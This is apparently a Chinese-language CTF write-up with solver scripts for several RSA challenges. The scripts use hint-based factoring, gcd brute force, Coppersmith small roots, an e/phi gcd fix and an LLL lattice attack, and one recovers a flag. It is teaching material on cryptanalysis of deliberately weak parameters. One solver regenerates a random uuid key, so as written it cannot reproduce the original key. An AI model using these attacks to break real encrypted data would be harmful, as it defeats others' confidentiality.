hint = 12987568746001906055206984898391966154306293823413368197318033220007253559732613798213520758591764407361165035026252952738781655288063955880381155248487359665232418743102682447285019628343225449412293182820238493066124625638587962771742483758801870433502225777870867758951434219830364029862956004700576096898027481662036025990863195683120672477550100117533075245930357204209853376733831722053269897554835022487762532804990683291569769645549798668156761928886213422994798377126038329935663701335320780904961036593190804101309988816576211342610006023360140039454436765214533480304604665139102691280641900617785903432091
# 计算x = 514*p - 114*q
x = inverse(hint, n)
# 解二次方程求p
a = 514
b = -x
c = -114 * n
discriminant = b**2 - 4*a*c
root = isqrt(discriminant)
p = (x + root) // (2 * a)
q = n // p
# 验证分解是否正确
assert p * q == n
print(f"分解成功:")
print(f"p = {p}")
print(f"q = {q}")
# 现在可以解密flag了
e = 0x10001
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
科目三
from gmpy2 import *
from Crypto.Util.number import *
n=15287896232417035851086235981265563998134955866060843093748786671508129573251847003999527856485758549860126384580494917915364701306071685594229628031088977839684017081520654236776242785628925973189526817881248575355945542383048981710499445870387398064681544701703040156490422288944492930981478623470676630519491494797669361671152282036093156291654847860141996604232792856741241190404244899692174170044284422033020291741225488936077424056397787303310917268623482653264619553896143058121676352634144974317001785653348804555306941019526122795501201244128892757817782379609209323229336095939877133645371087495721982077851
c=10335731049659882752941688907666096178702536553091840423438709859822077660889041289453755832287731894533967548970056153125024216390349672762582514080484148554114270763773638131333751848282102192013484408260305849882014438942680171042361801537976517203503505431780538954629956851215659657347073470449654560553579511717692309994438153543092852984867986200996617783236167876715696022117375897278585802566265123300369506539798286781856060562730888823890607123908218123879683297613504832412218988099143086207152856858851239217659478875527776774718491450180318117034184577362714951757204179400537035978839820598625386842155
hint1=954259052168542846445218523906612037976703570680262763318016110377543080168420506397488200667531627829686806420464936512964672243017152862772934628936916108747183934393996230520064638985403076196245683307546262134276340864473159876054035006623792703496168743368872334109205800306397889260667445974047474691667574619324342041921812231388131294
hint2=7319218157728483512391476802367240839412715153439389874719571101645409627201408126148200716667865521798554839099612725092526376152879439633568344077115785738795095400608538636155670360850049616144323401662060273892265948250582301711360660846303268531613470805002069945130941897665440928660306472119401551631430834863115449566482956009031349761084669714239605390947236948196226492949854572604036724772462353215365730260900863694563949325503975568464628687453477104
e = 0x10001
for i in range(2**11):
for j in range(2**11):
p = gcd(n,j*(hint1+0x114) - i*(hint2+0x514))
if p != 1 and p != n:
q = n//p
phi = (p-1)*(q-1)
d = invert(e,phi)
print(long_to_bytes(pow(c,d,n)))
break
#x1 x2比较小,可以考虑爆破,(hint2+0x514)*x1 = x1x2p+x1y2q
#(hint1+0x114)*x2 = x1x2p+x2y1q
#两项相减 右边剩下 k*q,和n取公因数即可
科目四
from Crypto.Util.number import *
import uuid
from sympy import *
# 给定的密文
c = 6571049256120979380478956075029414807834522817224308933941845420602424281666027318257440176282179258008674533223097045800178199277242900734878321766748394089339785153695025229322622953658315810
# 重新生成key和计算参数(与加密时相同)
key = b'key{' + str(uuid.uuid4()).encode() + b'}'
m1 = bytes_to_long(key)
m2 = bytes_to_long(''.join(chr((ord(i) +2) % 128) for i in key.decode()).encode())
x = m2 - m1
p = nextprime(x)
n = p*p
e = 65537
# 计算欧拉函数
phi = p * (p - 1)
# 计算私钥
d = inverse(e, phi)
# 解密
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print("解密后的flag:", flag)
signin1
这道题我没记错的话是换过附件的,原本的附件是直接在代码上给出flag,但是没关系,我们重新分析下代码,
一道RSA问题,可能需要用一些已知高位攻击的方法,首先,我需要确定m的未知部分x的长度。题目中m_high是m右移64位后的结果再左移64位,所以x的低64位未知,所以x的值范围是0到2\^64-1。所以x的位数是64位,这应该足够小,可以被Coppersmith方法处理。但因为e=3,所以可能需要的条件是什么?
Coppersmith定理的条件是,当未知的位数小于n的位数的1/e,这里n的位数是多少呢?n的值是给定的,但我们可以算一下。n的十六进制长度可能很大,但假设n是2048位的模数的话,那么1/e大约是1/3,即大约683位。但这里未知的位数只有64位,显然远小于这个限制,所以应该可以用Coppersmith方法,构造多项式:设未知的低64位为x,则m = m_high + x。加密过程为c ≡ (m_high + x)\^3 mod n,对应的多项式方程为(m_high + x)\^3 – c ≡ 0 mod n,脚本如下:
from sage.all import *
n = 22704983441342148789158477928504200252949219550948566906790734116857581896147602873641731204245234489794553123971018486415513604830790333726233734999972446008361933367602634881722198692541849562885481151700582715982199448346232898715159722536857967993760062251151739817224614937545587492136925970734203042940959736935828777312454374268609959770517451831445322231737862176733824990754042939484572457599641178043983404812306352941111629671712818222046739328026817232851849907790058073229445025638251952601259007892950527809151012888476941620209777665936969350417279657180049199016961747961934829450405121018896026683057
e = 3
c = 27091082454125034709660465484186175481294547541915314357428478859775459918462993752000949426427351121381005723451455537027301071775833846318612013393929395332670588224596463878232882207935407881802031486452494491990307689920104930994688222105464546716718442197687350963630258262135529644577487776191919246614888483885478030439860492032522757697088199449807080875330693644177211961129758831318676484517444567023668238987052635277498277452417641451725711327258651748101500112041968643835679591426500841978386212815251521283368037
m_high = 30033696379897398978772526118026660467778905226735939980072689354761479122906588371890865088748183335297343600411096102175209674580047859143620533292633404045742635155577634816
# 构造多项式环
P.<x> = PolynomialRing(Zmod(n), implementation='NTL')
# 定义多项式 (m_high + x)\^e - c
f = (m_high + x)**e - c
# 将多项式转为首一多项式
f = f.monic()
# 寻找小根,X是解的上界,这里x最多是64位,所以X=2\^64
roots = f.small_roots(X=2\^64, beta=0.5)
if roots:
x0 = roots[0]
m = m_high + x0
# 将m转换为字节
flag = bytes.fromhex(hex(int(m))[2:])
print("Flag:", flag.decode())
else:
print("No roots found")
Flag: ynuctf{you_will_get_high_score_fighting_for_the_last_one_i_will_wait_you}
Signin2
import gmpy2
import libnum
e = 114
p = 148294375337784953961006816644772879111937895613024930260535417412414748448269600108911770957280643311137972682188515112723421841991258318554872296491878779103425816763932645053428239050518024919617854417726804221385895450878839755919561981889906508029235131670359323906076157852344713532647055392564414789969
q = 175808728662809036525888983677017424775807087476419568408284072484109706199100351104810334225329333492988436671420594297516672524735825002402320193077682291062883195053847663154728131665731526338788024203413165230309959222970443927928740718822655039075289973972271807990007354744397850897562639577869203111597
c = 1221991191181537480409280274601665703436452140103304537845613601178696380818070104367013417214736049755604143035487180738359289898220649954048656088595437207285439557305498232173015879786423288421449102163518842089724119856793640811296229737537420246940355390598891872205214803073572059769996643624345908446925180150015392213855838576280574429232759361661272308828918455571430474891558942292218205997271921456802441484120867681994391169344900411716709726179808258177460514845834766494746593823485625859020123297205069971090717613794677771667122121445363402552653272055500125897806219551396366979767933408044709752359
n = p*q
# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
print(t)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
print(m)
msg = gmpy2.iroot(m, t)
print(msg)
if msg[1]:
print(libnum.n2s(int(msg[0])))
decrypt(p, q, e, c)
realworld_signin
分析代码,一道RSA解密,
这是生成安全素数 (p = 2*p’ + 1)
while True:
p = getPrime(nbit//2 -1)
if isPrime(p*2 +1):
p = p*2 +1
break
这是基于一个主key派生出多个e
dd = key + 2*i + 2
ee = inverse(dd, phi)
我们可以利用LLL算法破解这个系统:
Sage代码如下
from Crypto.Util.number import *
from gmpy2 import *
# 参数设置
kbit = int(1024 * 0.4512)
n = 74219777503778039384713198365717527570373780382282379096972324690081251365065095477929000988386083681513203512491370927718845828743263995474732954774847491077352889517941768340481419267423631909841384547193328808809698128024580433515656322494632812480829457617336935593289239810796790258340346723170779741729
enc = 3958934790045124866206442112203716709774918406908883950694315528119774925784304094589904441533860211980819087518909102001416328758594316833929979070172748292074660629845088404162218840261958843182437065648573098851362348095016447999960735481613602740679289938895010960006147454446217092740846658264611556049
e = [4887018227490522951180294849300795078089879760906958713840219865360715968371444384809600798722116650781533836036468107064224040407423019901606826655222409462216730303069, 10669730305337833596975615068410195458253070461812780080709142628897073567499404794021164409415540038651681573534705867337538310118978986399654380785725618242699041380387, 8142964478221999554910213773788338164057753833517493758000371804412383610067159150155969747956533939354523232613247520232056216176201260804121934599908432923486260612317, 11652719175369011698254384457898915529630550209917968179739258665918261225619905857012788877228542136571998171717618976082528025667712499544840885217557680956450369144675, 34003350341195715219756284404552341399794791297972526216804577168946328445618154380859132831844965989921091967221190846840999723904112475242892383699155675182567532801, 2860066778059413684662295582172426118122705273991773548419642922428995656973598214870690699588374853326276293213989012824207602959219534505808866028915763355436185744123, 5651045905713941129446487838092597626029291600688556732347463189530216441853741006708855020386319319308988127186747362244301438665297324391979234952546830209234569116261, 2140878550739676511590506772117509023321640703174202478823558773593787943205904726875017137498147222975331316168974069615740699182750574062641699711207266869815104136787, 6087515930969111112910337124852388243046982649210478853708132599075927707876599683683216927875595329735881653131486460133093348528437888936663203170767911308929582441773, 8496950406172821290931084524363511798402820386060289549675192568389312964971697194151237310737901120582641696181376460581772200367956411137029670911466460656018637692659, 5521671452978337788525632599953073251562560992187700653036520368631645881879229590206976526637051016552506458967109253647851425905078799584734324394702806206265558149945, 6043839891337792681912995673004428774706928836622452273141268236090724294605361838402685345660355442927551001854520505157921129100849822333762913125232996033239868973843]
k = [3753912660038637795426326605710245748695515390560399900745526510076661269559937453361786562971787430187092638089592476413827248976201910729, 148332751019019665213527515415994973999508161932931586225251303612603591426982821049633057336142033950570768979851982331502208272992555144, 1952730504553239255866147466652614989880484636554409389889209996137393120644584339940104077497653464653971602512161844635078307978877647974, 1491424006746149806000796952702113169821060032092339883294591116563350668523089587601941330593978556474600163634471625650494113127193307579, 5384583034924339530811747654831072663367479282612986741274329874820393279166995320549315525923181268101147286029501202086818387811951987836, 1871829167031099148278787440352885629456694616268353399403361380769798917377502207494123895728926749499069187544161471621485725448161169552, 2950621910186879740981933793783240810002997058349007228405274208013628163031349226994933817824843247734106501316565579988692260945447962986, 5538898744303235172518606480059896788132565770741837215272429756735449805207647199201670616333828581089815523538198365282659664448577791269, 2591080105064697176701100584391065535484219584865585828165893741514425622002283934061476975272432592321429946592764006270452813842613080401, 264165800112867570026135085006547605483471103693544648584360216344763308107222432019699311365093573214354403428619674469587257219103635856, 3179281832979106354462413127457746506122639506050382014896578461911966421509137922269717288264411656140288026184140707180180859163847829877, 5453867100177896617666870379906620004341213494547157840163256833214460699398257647944622374465417010235359559702686885701184167810496907355]
# 构建格矩阵
dim = 3 + len(e)
L = Matrix(ZZ, dim, dim)
# 填充对角线
for i in range(3):
L[i, i] = 1
for i in range(len(e)):
L[3+i, 3+i] = 2\^(1024 - kbit)
# 填充其他元素
for i in range(len(e)):
Ci = e[i]*(2*i+2) - 1 - k[i]*(n+1)
L[0, 3+i] = e[i]
L[1, 3+i] = k[i]
L[2, 3+i] = Ci
# 调整权重
L[0, 0] = 2\^(513 - kbit)
L[2, 2] = 2\^513
L[:, 3:] *= n
# LLL算法求解
res = L.LLL()[0]
pplusq = abs(res[1])
# 计算p和q
pminusq = iroot(pplusq\^2 - 4*n, 2)[0]
p = (pplusq + pminusq) // 2
q = n // p
# 验证并解密
assert p * q == n, "因式分解验证失败"
d = inverse(65537, (p-1)*(q-1))
m = pow(enc, d, n)
# 输出结果
print("解密结果:", long_to_bytes(int(m)))
构建了一个特殊结构的格矩阵,应用格基约减找到短向量,从p+q恢复私钥:,最后rsa解密,